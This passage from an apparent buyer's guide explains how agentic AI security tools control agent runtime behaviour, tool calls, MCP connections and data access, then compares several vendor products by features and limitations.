• Monitor MCP servers and external integrations for excessive permissions, unexpected tool changes, sensitive data exposure, and suspicious activity.

Data access:

• Apply least-privilege data access by limiting permissions according to the resource, operation, session, or task.
• Enforce agent identity and authorization so access reflects both the agent's permissions and those of the user it represents.
• Restrict access to sensitive data sources such as customer records, credentials, financial information, and production data.
• Detect sensitive data in prompts and responses and redact, mask, block, or restrict it when required.
• Prevent unauthorized data exfiltration by inspecting outbound tool calls, network requests, messages, uploads, and generated responses.

In this article:

• Agentic AI Security Tools at a Glance
• How Agentic AI Security Tools Secure Runtime Behavior, Tool Use, and Data Access
• Notable Agentic AI Security Tools for Runtime Behavior, Tool Use, and Data Access

Agentic AI Security Tools at a Glance

The table below summarizes the key differences between the agentic AI security tools covered in this guide. We explore each tool in more detail in the sections that follow.

Category Solution Best For Key Strengths Things to Consider Agent Runtime Governance and Access Control Cequence AI Gateway Governing agent access to enterprise apps, APIs, and MCP tools Agent Personas, inline tool-call enforcement, DLP on MCP traffic Initial setup and policy tuning can take time  Agent Runtime Governance and Access Control Zenity Securing agents across SaaS, cloud, and endpoint environments Intent-based detection across full agent execution paths Enforcement depth varies by platform; no public pricing  Agent Runtime Governance and Access Control Noma Security Discovery, access control, and runtime detection for AI agents Session-level behavioral context, IdP-keyed tool policies Integration into complex AI environments; pricing on request  Agent Runtime Governance and Access Control Prisma AIRS Agent Security Palo Alto Networks customers securing agents across the lifecycle Central control of tool calls, LLM traffic, and MCP connections Some features feel early-stage; tied to Palo Alto ecosystem  Runtime Guardrails and AI Threat Detection Lakera AI Agent Security Real-time guardrails on agent inputs, outputs, and actions Prompt attack detection in 100+ languages, sub-50 ms latency Multimodal inspection limited to text in some integrations  Runtime Guardrails and AI Threat Detection Prompt Security (SentinelOne) Governing workforce AI use, agents, and MCP servers together Shadow MCP discovery, least-privilege agent scope, audit log Full coverage may need extension, agent, and proxy setup  Runtime Guardrails and AI Threat Detection Lasso Intent-based runtime protection with discovery and red teaming Inline enforcement at proxy, API, or gateway; 3,000+ attacks Requires CI/CD and platform integration; few user reviews  Runtime Guardrails and AI Threat Detection HiddenLayer AI Runtime Security Runtime detection and enforcement for agents and MCP traffic Tool-use inspection and session reconstruction Needs SDK, proxy, or gateway instrumentation

How Agentic AI Security Tools Secure Runtime Behavior, Tool Use, and Data Access

Securing Agent Runtime Behavior and Tool Use

Agentic AI security tools apply controls while an agent is running, rather than relying only on safeguards built into the model or application. They observe agent decisions, tool calls, inputs, outputs, and interactions with external systems. This makes it possible to detect and block unsafe actions before they execute.

1. Detect Unexpected or Malicious Agent Behavior

Security tools can monitor an agent's execution trace for behavior that violates expected patterns or defined policies. Examples include:

• Repeated access attempts
• Unusual tool sequences
• Attempts to retrieve unrelated sensitive data
• Actions triggered by prompt injection

Runtime monitoring can combine fixed policies with behavioral detection. When suspicious activity occurs, the security layer can block an action, terminate the agent session, require human approval, or generate an alert for investigation.

2. Restrict Which Tools Agents Can Use

Agents should only have access to tools required for their assigned tasks. Security controls can enforce allowlists or deny lists based on the agent's:

• Identity
• Role
• Task
• Environment
• Current authorization context

These restrictions reduce the impact of compromised or incorrectly behaving agents. For example, a research agent might be permitted to search internal documentation but prevented from executing shell commands, modifying production databases, or sending external messages.

Related content: Read our guide to agentic AI governance

3. Validate Tool Calls Before Execution

Security tools can intercept tool calls before they reach the target system. The security layer can check whether the requested tool, operation, and context comply with policy before allowing execution.

Validation can also detect malformed requests, suspicious arguments, or calls produced after an untrusted instruction enters the agent's context. High-risk operations can be rejected or routed to a human for approval instead of executing automatically.

4. Control Tool Parameters and Allowed Actions

Allowing access to a tool does not mean an agent should be allowed to perform every operation that tool supports. Controls can restrict:

• Individual functions
• Resources
• Parameter values
• Destinations
• Data scopes

For example, an agent might receive read access to a database while write and delete operations remain blocked. A messaging tool could allow communication only with approved domains, while a file tool could limit access to directories. Parameter-level controls provide finer-grained protection than tool-level permissions alone.

5. Monitor MCP Servers and External Integrations

Model Context Protocol (MCP) servers can expose data sources and tools to agents through a common interface. Security tools can inspect MCP connections, tool definitions, requests, responses, and authorization decisions to identify risky or unauthorized activity.

Monitoring is also important when MCP servers or other integrations are operated by third parties. Controls can detect unexpected tool changes, excessive permissions, sensitive data exposure, and suspicious responses. Organizations can then enforce policies at the integration boundary instead of trusting every connected server or service implicitly.

Securing Agent Data Access

Agentic AI security tools control which data an agent can retrieve, process, and disclose. These controls are especially important because agents may combine information from databases, files, SaaS applications, APIs, and other sources while completing a task.

6. Apply Least-Privilege Data Access

Agents should receive only the data permissions required for their current tasks. Instead of giving an agent broad, persistent permissions, security tools can limit access by:

• Resource
• Operation
• Session
• Task

For example, an agent that summarizes support tickets may need read access to selected ticket fields but not billing records or account credentials. Narrow permissions reduce the amount of data exposed if the agent is manipulated or behaves unexpectedly.

7. Enforce Agent Identity and Authorization

Security controls can assign each agent or agent session a distinct identity and evaluate authorization before granting access to protected resources. This avoids relying on shared credentials that make it difficult to determine which agent performed an action.

Authorization can also include the identity and permissions of the user the agent represents. An agent should not gain access to information simply because its service account has broader privileges than the requesting user.

8. Restrict Access to Sensitive Data Sources

Organizations can define policies that prevent agents from accessing specified:

• Databases
• Files
• Applications
• Data classifications

Access may also depend on the agent's role, environment, task, or approval status. These controls create boundaries around high-risk sources such as customer records, credentials, financial information, and production data. Sensitive sources can be blocked entirely or exposed through interfaces that return only approved fields.

9. Detect Sensitive Data in Prompts and Responses

Security tools can inspect prompts, retrieved context, tool outputs, and model responses for sensitive information. Detection can cover:

• Credentials
• API keys
• Personally identifiable information
• Financial records
• Source code
• Organization-specific data classifications

When sensitive content is detected, policies can redact or mask values, block the request, restrict the response, or require additional authorization. Applying these checks throughout the agent workflow helps prevent sensitive information from moving between systems unnoticed.

10. Prevent Unauthorized Data Exfiltration

Agents may have legitimate access to sensitive data and external communication tools at the same time. An attacker can exploit this combination by using prompt injection or other techniques to make the agent send protected information to an unauthorized destination.

Security tools can inspect outbound tool calls, network requests, messages, uploads, and generated responses before data leaves a trusted boundary. Policies can block unapproved domains, destinations, or data types and require human approval for high-risk transfers.

Notable Agentic AI Security Tools for Runtime Behavior, Tool Use, and Data Access

How we selected these tools: We shortlisted agentic AI security tools based on their ability to monitor agent runtime behavior, validate and restrict tool calls, secure MCP connections, enforce agent identity and least-privilege access, and detect or block sensitive data exposure.

Agent Runtime Governance and Access Control Platforms

1. Cequence AI Gateway

Best for: Governing agent access to enterprise apps, APIs, and MCP tools

Strengths: Agent Personas, inline tool-call enforcement, DLP on MCP traffic

Things to consider: Initial setup and policy tuning can take time

Cequence AI Gateway sits between AI agents and enterprise applications, translating agent requests into native API calls while applying security and governance controls. The gateway authenticates each agent and then verifies every action it takes, enforcing policy inline in the request path, for the full session, on every tool call.

The gateway maintains trusted registries of MCP servers, APIs, LLMs, and skills that agents are allowed to reach. Teams can turn existing APIs into MCP-compatible tools by uploading OpenAPI specifications. It runs as a SaaS service or on-premises, and connects to Cequence API Security and Bot Management for enhanced API specs and protection against agent-driven abuse.

Key features include:

• Agent Personas: Teams describe an agent's job in plain English, and the gateway generates a persona that limits the agent to the tools, APIs, skills, and permissions that job requires. Least-privilege access policies are generated from these job descriptions.
• Inline tool-call enforcement: Proxies both MCP tool calls and direct API calls through one control point. Behavioral identity judges each action by who the agent is and what it is doing, with rogue agent containment, anomaly detection, and kill-switch controls.
• Authentication and authorization: Integrates with OAuth 2.1-compliant identity providers and includes token lifecycle management and RBAC. Session binding locks authenticated sessions to the originating IP address to block token theft and reuse.
• Sensitive data protection: Applies DLP scanning to agent requests and MCP server responses, with more than 100 built-in detection types for monitoring, redacting, or blocking sensitive data. Detection covers data moving across a sequence of tool calls and integrates with existing DLP infrastructure.
• Prompt Guard and runtime guardrails: Screens prompts for injection, jailbreak, and system-prompt-extraction patterns before they reach the model, with support for custom rules. Additional guardrails include automated tool risk scoring, rate limiting, and token and spend limits by team.
• AI discovery: Surfaces shadow MCP servers, agents, and LLM providers across the enterprise using existing SIEM logs.
• Monitoring and audit trails: Logs user, agent, and tool behavior, including which applications agents access and which API calls they make. Tool-level and agent-level audit trails capture agent identity, data accessed, user context, and request and response flows, exportable to SIEM.

Limitations (as reported by users on G2):

• Requires traffic to flow through it for governance: Organizations need to set up and maintain traffic flows through the AI Gateway for it to govern the agentic AI traffic.
• Prompt injection protection capabilities face arms race: As these types of attacks evolve, the Prompt Guard feature will have to evolve as well for protection.
• Learning curve for advanced configuration: Full use of all the features may take time as the platform covers a lot of ground in security and governance.

2. Zenity

Best for: Securing agents across SaaS, cloud, and endpoint environments

Strengths: Intent-based detection across full agent execution paths

Things to consider: Enforcement depth varies by platform; no public pricing

Zenity is an AI agent security and governance platform covering agents embedded in SaaS tools, homegrown agents in cloud environments, and personal and coding agents on end-user devices. The platform has three layers: Surface builds an inventory and evaluates exposure, Enforce acts when an agent makes a decision, and Protect detects, investigates, and responds to threats.

Supported platforms include Microsoft Copilot Studio, Microsoft Foundry, Microsoft 365 Copilot, Salesforce Agentforce, ServiceNow, Amazon Bedrock, Google Vertex AI, ChatGPT Enterprise, and Claude Enterprise. Threat detections are mapped to OWASP and MITRE ATLAS.

Key features include:

• AI observability: Builds a live inventory of agents across SaaS, custom, and endpoint deployments. It tracks agent ownership, what each agent can access, and the data it touches.
• AI security posture management: Evaluates agent configurations and permissions against policy before agents go live, so over-permissioned agents are flagged before runtime.
• AI exposure management: Validates which of an agent's attack paths are exploitable, scores each one, and generates a fix that can be applied through Runtime Boundaries.
• Intent-based detection and response: Examines the full execution path, including tool calls, memory access, data usage, and control flow. This identifies malicious or unintended outcomes even when the inputs look harmless.
• Runtime enforcement: The Enforce layer lets safe actions through and stops harmful actions before they complete. Capabilities include Boundaries, Agentic Identity, and MCP Security.
• Contextual incident response: Correlates configuration, permissions, and runtime behavior into intent-driven signals, and gives investigators context on agent execution paths.

Limitations (based on publicly available sources):

• Enforcement varies by platform: Public analyses note that the depth of runtime enforcement differs across the agent platforms Zenity supports.
• Framework coverage not fully listed: Public product pages do not name some open source agent frameworks, such as LangChain, CrewAI, and AutoGen.
• Deployment options: Public materials present Zenity as a hosted SaaS platform and do not document a self-hosted or air-gapped edition.
• Pricing not published: Standard pricing is not available on public pages.
• Agent-focused scope: The platform does not cover general data loss prevention for human activity unrelated to agents, such as ordinary email or browser uploads.

3. Noma Security

Best for: Discovery, access control, and runtime detection for AI agents

Strengths: Session-level behavioral context and IdP-keyed tool policies

Things to consider: Integration into complex AI environments; pricing on request

Noma Security is an AI security platform covering three environments: endpoint agents such as Claude Code and Cursor, homegrown AI built on AWS Bedrock, Microsoft Foundry, or frameworks like LangChain, and agents built on SaaS platforms such as Copilot Studio, Agentforce, and ServiceNow. It consists of four products: AI-SPM, Agent Access Control, AI-DR, and AI Red Teaming.

The four products share context. Discovery data informs access policies, and red teaming findings become enforced patterns in production. Noma tracks the full chain of agent actions across a session, so it can link an agent reading customer records in one step with emailing a summary to an external address in a later step.

Key features include:

• AI asset discovery and risk map: Finds agents, MCP servers, skills, and models across endpoint, SaaS, and homegrown environments. The agent risk map shows each agent's connections, permissions, and data access, and flags misconfigurations and toxic combinations of capabilities.
• Agent access control: Defines which MCP servers, skills, and tools each agent can use and enforces the policy when the agent acts. Policies can be keyed to IdP groups or applied organization-wide by tool sensitivity, with a live registry of approved items and everything else blocked.
• AI detection and response: Detects prompt injection, data exfiltration, scope violations, and agents that drift from their intent. Each action is evaluated with its surrounding session, the identity behind the agent, the data involved, and behavior over time.
• Policy-based response actions: Depending on policy, the platform alerts, blocks the action, masks data, or routes the action to a human for review.
• Agentic identity: Tracks who an agent is acting as, what it is allowed to do, and whether its actions match the user's intent.
• MCP and AI supply chain security: Discovers, assesses, and governs MCP servers, detects tool poisoning and supply chain attacks, and scans models, tools, and packages.
• AI red teaming: Runs multi-turn attack campaigns with prebuilt scan profiles and compliance presets. Findings feed AI-DR runtime policies.

Limitations (based on publicly available sources):

• Integration effort: Deployment requires integration into complex AI development and deployment environments.
• Dependence on detection updates: Threat detection effectiveness relies on continuous updates to keep pace with new AI attack techniques.
• Pricing on request: Pricing details are not published and are provided upon request or consultation.

4. Prisma AIRS Agent Security

Best for: Palo Alto Networks customers securing agents across the lifecycle

Strengths: Central control of tool calls, LLM traffic, and MCP connections

Things to consider: Some features feel early-stage; tied to Palo Alto ecosystem

Prisma AIRS Agent Security is part of the Palo Alto Networks Prisma AIRS AI security platform. It covers the agent lifecycle, from discovering agents and scanning their code before deployment to verifying agent identities and enforcing security policies on agent actions at runtime.

Palo Alto Networks is integrating Portkey's AI Gateway into Prisma AIRS to provide one control plane that monitors agent actions, verifies agent identity, and applies runtime policies. Coverage includes agents on SaaS platforms, cloud services, low-code tools, and custom environments.

Key features include:

• Agent discovery and visibility: Discovers AI agents across SaaS platforms, cloud services, low-code tools, and custom environments. It shows what agents are doing, what they can access, and how they make decisions, including shadow and third-party agents.
• Agentic supply chain scanning: Scans agent code, MCP servers, and skills for supply chain vulnerabilities before deployment and provides remediation guidance.
• Agent behavior testing: Tests how agents behave in real-world conditions using a library of attacks or a dynamic red teaming agent.
• Over-privilege detection: Identifies excessive access and revokes unnecessary privileges to reduce the reach of compromised or misconfigured agents.
• Agent identity verification: Inventories and validates agent identities, defines agent ownership and permissions, and enforces least-privileged access.
• Runtime protection: Protects agents from prompt injection and agent-specific risks such as tool misuse, and enforces policies to prevent sensitive data exposure.
• Centralized AI traffic management: Controls tool calls, LLM interactions, and MCP connections from one place, with granular policies on how agents interact with systems.

Limitations (as reported by users on Gartner Peer Insights):

• Early-stage features: Some reviewers find that certain features still feel limited or not fully developed.
• Learning curve: Users mention that it takes time to understand how to get full value from the platform.
• Alert and report tuning: Some alerts and reports need manual adjustment to fit a specific environment.
• Platform dependency: Reviewers note that the product works best within the Palo Alto Networks ecosystem, which can limit its use elsewhere.

Source: Palo Alto Networks

Runtime Guardrails and AI Threat Detection Tools

5. Lakera AI Agent Security (Check Point)

Best for: Real-time guardrails on agent inputs, outputs, and actions

Strengths: Prompt attack detection in 100+ languages with sub-50 ms latency

Things to consider: Multimodal inspection limited to text in some integrations

Lakera AI Agent Security, now part of Check Point, inspects what goes into AI agents, controls what comes out, and governs the actions agents take. It discovers agents and MCP-connected tools, assesses their risk, and enforces protection at runtime without changes to models or prompts.

The platform connects to cloud, low-code, and custom environments and rates each agent based on its configuration, tools, data access, MCP servers, and level of autonomy. Detection covers over 100 languages, and runs with sub-50 ms latency.

Key features include:

• Agent and MCP discovery: Finds agents and MCP-connected tools across the environment, including agents that teams did not explicitly build or register. It identifies which data, APIs, and systems each agent can access.
• Agent risk assessment: Scores each agent based on its configuration, tools, data access, MCP servers, and autonomy.
• Prompt attack protection: Blocks prompt injection, jailbreaks, and adversarial instructions before they reach the model.
• Indirect injection blocking: Blocks injected instructions arriving through MCP-connected tools before agents act on them.
• Tool use and action governance: Uses policy and runtime enforcement to control what agents can access, call, and do. It contains unsafe actions, tool abuse, and connected system risk at runtime.
• Data and access protection: Detects sensitive data in prompts and responses and flags unauthorized agent access.
• Policy violation detection: Flags harmful or non-compliant outputs and agent actions that go beyond defined policies.

Limitations (based on publicly available sources):

• Text-only inspection of multimodal content: In some gateway integrations, only text segments of multimodal requests are inspected, and image and embedding outputs cannot be inspected.
• Sensitivity to integration structure: Passing system instructions inside user messages is a common cause of false positives, so integrations need to separate system and user content.
• Response handling left to the application: The Guard API returns a flagged result, and the application decides whether to block, confirm with the user, or only log the event.

Source: Lakera

6. Prompt Security (SentinelOne)

Best for: Governing workforce AI use, agents, and MCP servers together

Strengths: Shadow MCP discovery, least-privilege agent scope, audit log

Things to consider: Full coverage may need extension, agent, and proxy setup

Prompt Security, part of the SentinelOne Singularity Platform, covers employee AI tools, developer code assistants, homegrown AI applications, and autonomous agents. It provides AI governance, data leakage prevention, and threat protection, with policies enforced at the point of interaction.

The Agentic AI Security module maps the agents and MCP servers in an environment and governs what they can do. Policies and AI risk visibility are managed from the same console that covers SentinelOne endpoint, cloud, identity, and data security.

Key features include:

• Agent and MCP discovery: Automatically discovers shadow MCP servers and unsanctioned agent deployments.
• Least-privilege agent access: Enforces access policies so agents operate only within their defined scope.
• Agent action audit log: Keeps a searchable log of every agent action, decision, and interaction with enterprise systems.
• Real-time AI firewall: Blocks adversarial prompts and scrubs sensitive data from outputs of AI applications at runtime.
• Pre-deployment testing: Tests AI applications for prompt injection, jailbreaks, and data poisoning before deployment, and converts red teaming findings into production guardrails on a shared policy fabric.
• Role-based usage policies: Sets granular controls over who can use AI, how, and with what data.